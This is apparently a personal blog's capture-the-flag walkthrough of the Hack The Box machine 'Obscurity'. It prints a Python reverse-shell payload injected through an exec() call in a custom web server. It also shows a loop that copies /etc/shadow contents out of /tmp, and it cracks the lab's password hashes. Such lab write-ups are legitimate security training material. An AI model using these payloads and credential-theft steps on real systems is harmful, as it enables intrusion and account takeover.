Skip to main content

📦 HTB - Obscurity

<time datetime="2020-04-12 16:00:00 &#43;0000 UTC">12 April 2020</time><span class="px-2 text-primary-500">&middot;</span><span>1004 words</span><span class="px-2 text-primary-500">&middot;</span><span title="Reading time">5 mins</span><span class="px-2 text-primary-500">&middot;</span><span> <span id="views_posts/HTB Obscurity/index.md" title="views">0</span> <span class="inline-block align-text-bottom"> <span class="relative block icon"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"> <path fill="currentColor" d="M288 32c-80.8 0-145.5 36.8-192.6 80.6C48.6 156 17.3 208 2.5 243.7c-3.3 7.9-3.3 16.7 0 24.6C17.3 304 48.6 356 95.4 399.4C142.5 443.2 207.2 480 288 480s145.5-36.8 192.6-80.6c46.8-43.5 78.1-95.4 93-131.1c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C433.5 68.8 368.8 32 288 32zM432 256c0 79.5-64.5 144-144 144s-144-64.5-144-144s64.5-144 144-144s144 64.5 144 144zM288 192c0 35.3-28.7 64-64 64c-11.5 0-22.3-3-31.6-8.4c-.2 2.8-.4 5.5-.4 8.4c0 53 43 96 96 96s96-43 96-96s-43-96-96-96c-2.8 0-5.6 .1-8.4 .4c5.3 9.3 8.4 20.1 8.4 31.6z"/></svg> </span> </span> </span><span class="px-2 text-primary-500">&middot;</span><span> <span id="likes_posts/HTB Obscurity/index.md" title="likes">0</span> <span class="inline-block align-text-bottom"> <span class="relative block icon"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"> <path fill="currentColor" d="M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9L464.4 300.4c30.4-28.3 47.6-68 47.6-109.5v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5z"/></svg> </span> </span> </span><span class="px-2 text-primary-500">&middot;</span><span> <button id="likes_button" class="rounded-md border border-primary-400 px-1 py-[1px] text-xs font-normal text-primary-700 dark:border-primary-600 dark:text-primary-400" onclick="process_article()"> <span id="likes_button_heart" style="display:none" class="inline-block align-text-bottom"> <span class="relative block icon"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"> <path fill="currentColor" d="M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9L464.4 300.4c30.4-28.3 47.6-68 47.6-109.5v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5z"/></svg> </span> </span> <span id="likes_button_emtpty_heart" class="inline-block align-text-bottom"> <span class="relative block icon"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"> <path fill="currentColor" d="M244 84L255.1 96L267.1 84.02C300.6 51.37 347 36.51 392.6 44.1C461.5 55.58 512 115.2 512 185.1V190.9C512 232.4 494.8 272.1 464.4 300.4L283.7 469.1C276.2 476.1 266.3 480 256 480C245.7 480 235.8 476.1 228.3 469.1L47.59 300.4C17.23 272.1 0 232.4 0 190.9V185.1C0 115.2 50.52 55.58 119.4 44.1C164.1 36.51 211.4 51.37 244 84C243.1 84 244 84.01 244 84L244 84zM255.1 163.9L210.1 117.1C188.4 96.28 157.6 86.4 127.3 91.44C81.55 99.07 48 138.7 48 185.1V190.9C48 219.1 59.71 246.1 80.34 265.3L256 429.3L431.7 265.3C452.3 246.1 464 219.1 464 190.9V185.1C464 138.7 430.4 99.07 384.7 91.44C354.4 86.4 323.6 96.28 301.9 117.1L255.1 163.9z"/></svg> </span> </span> <span id="likes_button_text">&nbsp;Like</span> </button> </span><span class="px-2 text-primary-500">&middot;</span> <span class="mb-[2px]"> <a href="https://github.com/OxNinja/blog" class="text-lg hover:text-primary-500" rel="noopener noreferrer" target="_blank" title="Edit content" ><span class="inline-block align-text-bottom"> <span class="relative block icon"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M490.3 40.4C512.2 62.27 512.2 97.73 490.3 119.6L460.3 149.7L362.3 51.72L392.4 21.66C414.3-.2135 449.7-.2135 471.6 21.66L490.3 40.4zM172.4 241.7L339.7 74.34L437.7 172.3L270.3 339.6C264.2 345.8 256.7 350.4 248.4 353.2L159.6 382.8C150.1 385.6 141.5 383.4 135 376.1C128.6 370.5 126.4 361 129.2 352.4L158.8 263.6C161.6 255.3 166.2 247.8 172.4 241.7V241.7zM192 63.1C209.7 63.1 224 78.33 224 95.1C224 113.7 209.7 127.1 192 127.1H96C78.33 127.1 64 142.3 64 159.1V416C64 433.7 78.33 448 96 448H352C369.7 448 384 433.7 384 416V319.1C384 302.3 398.3 287.1 416 287.1C433.7 287.1 448 302.3 448 319.1V416C448 469 405 512 352 512H96C42.98 512 0 469 0 416V159.1C0 106.1 42.98 63.1 96 63.1H192z"/></svg> </span> </span></a > </span>
HTB htb writeup
0xNinja
Author
0xNinja
mov al, 11
Table of Contents

Obscurity is my first medium box so I was very happy when I got that root.txt :D

TL;DR #

Custom Python web server, get source code, get revserse shell, crack user password for custom encryption system, use john to privesc.

Footholds #

To make things easier, I added the box to my /etc/hosts.

Recon #

Let’s start with nmap to discover the open ports :

> nmap -A obscurity.htb -o nmap.out

Nmap scan report for obscurity.htb (10.10.10.168)
    Host is up (0.026s latency).
    Not shown: 996 filtered ports
    PORT     STATE  SERVICE    VERSION
    22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
    |   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
    |_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
    80/tcp   closed http
    8080/tcp open   http-proxy BadHTTPServer
    | fingerprint-strings: 
    |   GetRequest, HTTPOptions: 
    |     HTTP/1.1 200 OK
    |     Date: Fri, 10 Apr 2020 11:14:28
    |     Server: BadHTTPServer
    |     ...
    |_http-server-header: BadHTTPServer
    |_http-title: 0bscura
    ...

So we got so far SSH and HTTP server running on the machine.

Web server #

On the port 8080 we can see the web server which indicates that it is hand-made with custom code.

0bscura homepage

If you use custom code, you can’t have CVE’s on it. So your code is 100% secure.

Smart move gif

By reading the content of their homepage, we get a good hint : they are hosting the source code on the server. We have to find SuperSecureServer.py ont it !

0bscura devteam

Finding source code #

The easiest way I found on the moment was to fire up Burpsuite and use a directory wordlist.

By making a first request to the webserver, I sent it to Burp’s intruder in sniper mode. Using a simple directory wordlist (common.txt) I placed the payload’s position as GET /§a§/SuperSecureServer.py, launched the attack and waited for burp to get a 200 response code.

Burp intruder

Burp payload

The source code is at /develop/SuperSecureServer.py !

Burp result

Source code auditing #

By reading the code, I found that during the document serving process, the exec() function is called.

1def serveDoc(self, path, docRoot):
2    path = urllib.parse.unquote(path)
3    try:
4        info = "output = 'Document: {}'" # Keep the output for later debug
5        exec(info.format(path)) # This is how you do string formatting, right? <-- here
6        cwd = os.path.dirname(os.path.realpath(__file__))
7        docRoot = os.path.join(cwd, docRoot)
8        if path == "/":
9            path = "/index.html"

Reverse shell #

After understanding when the exec was called, I injected a python reverse shell payload. Basically this is a command injection through format string, string which got evaluated right after. The payload we could manipulate was directly the path we GET on the server. My final payload for the reverse shell was :

GET /';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

This payload works because :

  • The first ' is used to break the string generated by the format string
  • Both ; to inject a new python code between
  • The last ' is to make an empty string with the single quote from the source code, otherwise an error is raised

So I just launched a netcat connexion listenning on my machine, and made a request on the server with the payload to get the shell.

Hapyp GIF

User #

The reverse shell we have is as www-data, we need to privesc as a regular user.

1> ls /home
2robert

We know that user robert must be the user we need to privesc as. We need to investigate it’s home directory.

1> ls /home/robert
2BetterSSH   check.txt   out.txt passwordreminder.txt    SuperSecureCrypt.py ...

We got a bunch of files here, some are pretty interesting, especially the Python script.

By examining it, we understand that Robert uses a custom password manager, stores it’s “encrypted” password in a file, and tested it’s encryption passphrase on a dummy text file.

First thing I did was to BF it’s password using the famous rockyou. But it was unsuccessfull, I managed to get something close to it’s password, but not the actual password.

After thinking about the encryption and decryption algorithms, I managed to get the real password.

To use the Python script : python SuperSecureCrypt.py -i infile -k key -o outfile will “encypt” the content of infile with key into outfile. To decrypt we have to use the -d option.

As the encryption and decryption where very simple :

1def encrypt(text, key):
2    for x in text:
3    newChr = chr( (ord(x) + ord(keyChr)) % 255 )
4    encrypted += newCrh
5
6def decrypt(text, key):
7    for x in text:
8    newChr = chr( (ord(x) - ord(keyChr)) % 255 )
9    decrypted += newChr

The easiest way to get the password was : python SuperSecureCrypt.py -d -i out.txt -k "$(cat check.txt)" -o pass.txt

The encryption password was alexandrovich.

python SuperSecureCrypt.py -d -i passwordreminder.txt -k alexandrovich -o robert.txt

Robert’s password was SecThruObsFTW, we can SSH as him and get the user.txt content.

Yes GIF

Root #

We now need to go root. As robert :

> sudo -l
User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

So yeah, we know where to start. We now need to know how to exploit this BetterSSH.py script.

By reading the first lines, we know that it reads the /etc/shadow file, and write it’s content into a file somewhere in /tmp/SSH/. The script prompts for a username and password, if the password’s hash does corresponds to the shadow one, it gives a shell as this user.

I started to find a fancy way to monitor the content of the /tmp/SSH/ folder, but a simple bash script can do anything :

1#!/bin/bash
2while true; do
3    cat /tmp/SSH/* >> /tmp/.ninja
4done

I launched the script in background, launched the BetterSSH script too, and read the content of my /tmp/.ninja file. We get most of the users’ hashes separated by line, but only one matters to us. Root’s hash was $6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1.

Using john the ripper on the hash, we get root’s password : mercedes. I could have SSH back as root, but there is already a tool for us : sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py, entered root for user, and mercedes for password, we now have a shell as root.

Happy GIF 2

Rooted

Related

Setup your database with Docker
<time datetime="2020-04-07 17:30:00 &#43;0000 UTC">7 April 2020</time><span class="px-2 text-primary-500">&middot;</span><span>455 words</span><span class="px-2 text-primary-500">&middot;</span><span title="Reading time">3 mins</span><span class="px-2 text-primary-500">&middot;</span><span> <span id="views_posts/setup your database with docker/index.md" title="views">0</span> <span class="inline-block align-text-bottom"> <span class="relative block icon"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"> <path fill="currentColor" d="M288 32c-80.8 0-145.5 36.8-192.6 80.6C48.6 156 17.3 208 2.5 243.7c-3.3 7.9-3.3 16.7 0 24.6C17.3 304 48.6 356 95.4 399.4C142.5 443.2 207.2 480 288 480s145.5-36.8 192.6-80.6c46.8-43.5 78.1-95.4 93-131.1c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C433.5 68.8 368.8 32 288 32zM432 256c0 79.5-64.5 144-144 144s-144-64.5-144-144s64.5-144 144-144s144 64.5 144 144zM288 192c0 35.3-28.7 64-64 64c-11.5 0-22.3-3-31.6-8.4c-.2 2.8-.4 5.5-.4 8.4c0 53 43 96 96 96s96-43 96-96s-43-96-96-96c-2.8 0-5.6 .1-8.4 .4c5.3 9.3 8.4 20.1 8.4 31.6z"/></svg> </span> </span> </span><span class="px-2 text-primary-500">&middot;</span><span> <span id="likes_posts/setup your database with docker/index.md" title="likes">0</span> <span class="inline-block align-text-bottom"> <span class="relative block icon"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"> <path fill="currentColor" d="M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9L464.4 300.4c30.4-28.3 47.6-68 47.6-109.5v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5z"/></svg> </span> </span> </span>
article docker sql walkthrough
La vulnérabilité Shellshock
<time datetime="2020-02-28 11:30:00 &#43;0000 UTC">28 February 2020</time><span class="px-2 text-primary-500">&middot;</span><span>445 words</span><span class="px-2 text-primary-500">&middot;</span><span title="Reading time">3 mins</span><span class="px-2 text-primary-500">&middot;</span><span> <span id="views_posts/la vulnérabilite shellshock/index.md" title="views">0</span> <span class="inline-block align-text-bottom"> <span class="relative block icon"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"> <path fill="currentColor" d="M288 32c-80.8 0-145.5 36.8-192.6 80.6C48.6 156 17.3 208 2.5 243.7c-3.3 7.9-3.3 16.7 0 24.6C17.3 304 48.6 356 95.4 399.4C142.5 443.2 207.2 480 288 480s145.5-36.8 192.6-80.6c46.8-43.5 78.1-95.4 93-131.1c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C433.5 68.8 368.8 32 288 32zM432 256c0 79.5-64.5 144-144 144s-144-64.5-144-144s64.5-144 144-144s144 64.5 144 144zM288 192c0 35.3-28.7 64-64 64c-11.5 0-22.3-3-31.6-8.4c-.2 2.8-.4 5.5-.4 8.4c0 53 43 96 96 96s96-43 96-96s-43-96-96-96c-2.8 0-5.6 .1-8.4 .4c5.3 9.3 8.4 20.1 8.4 31.6z"/></svg> </span> </span> </span><span class="px-2 text-primary-500">&middot;</span><span> <span id="likes_posts/la vulnérabilite shellshock/index.md" title="likes">0</span> <span class="inline-block align-text-bottom"> <span class="relative block icon"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"> <path fill="currentColor" d="M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9L464.4 300.4c30.4-28.3 47.6-68 47.6-109.5v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5z"/></svg> </span> </span> </span>
apache article bash ctf web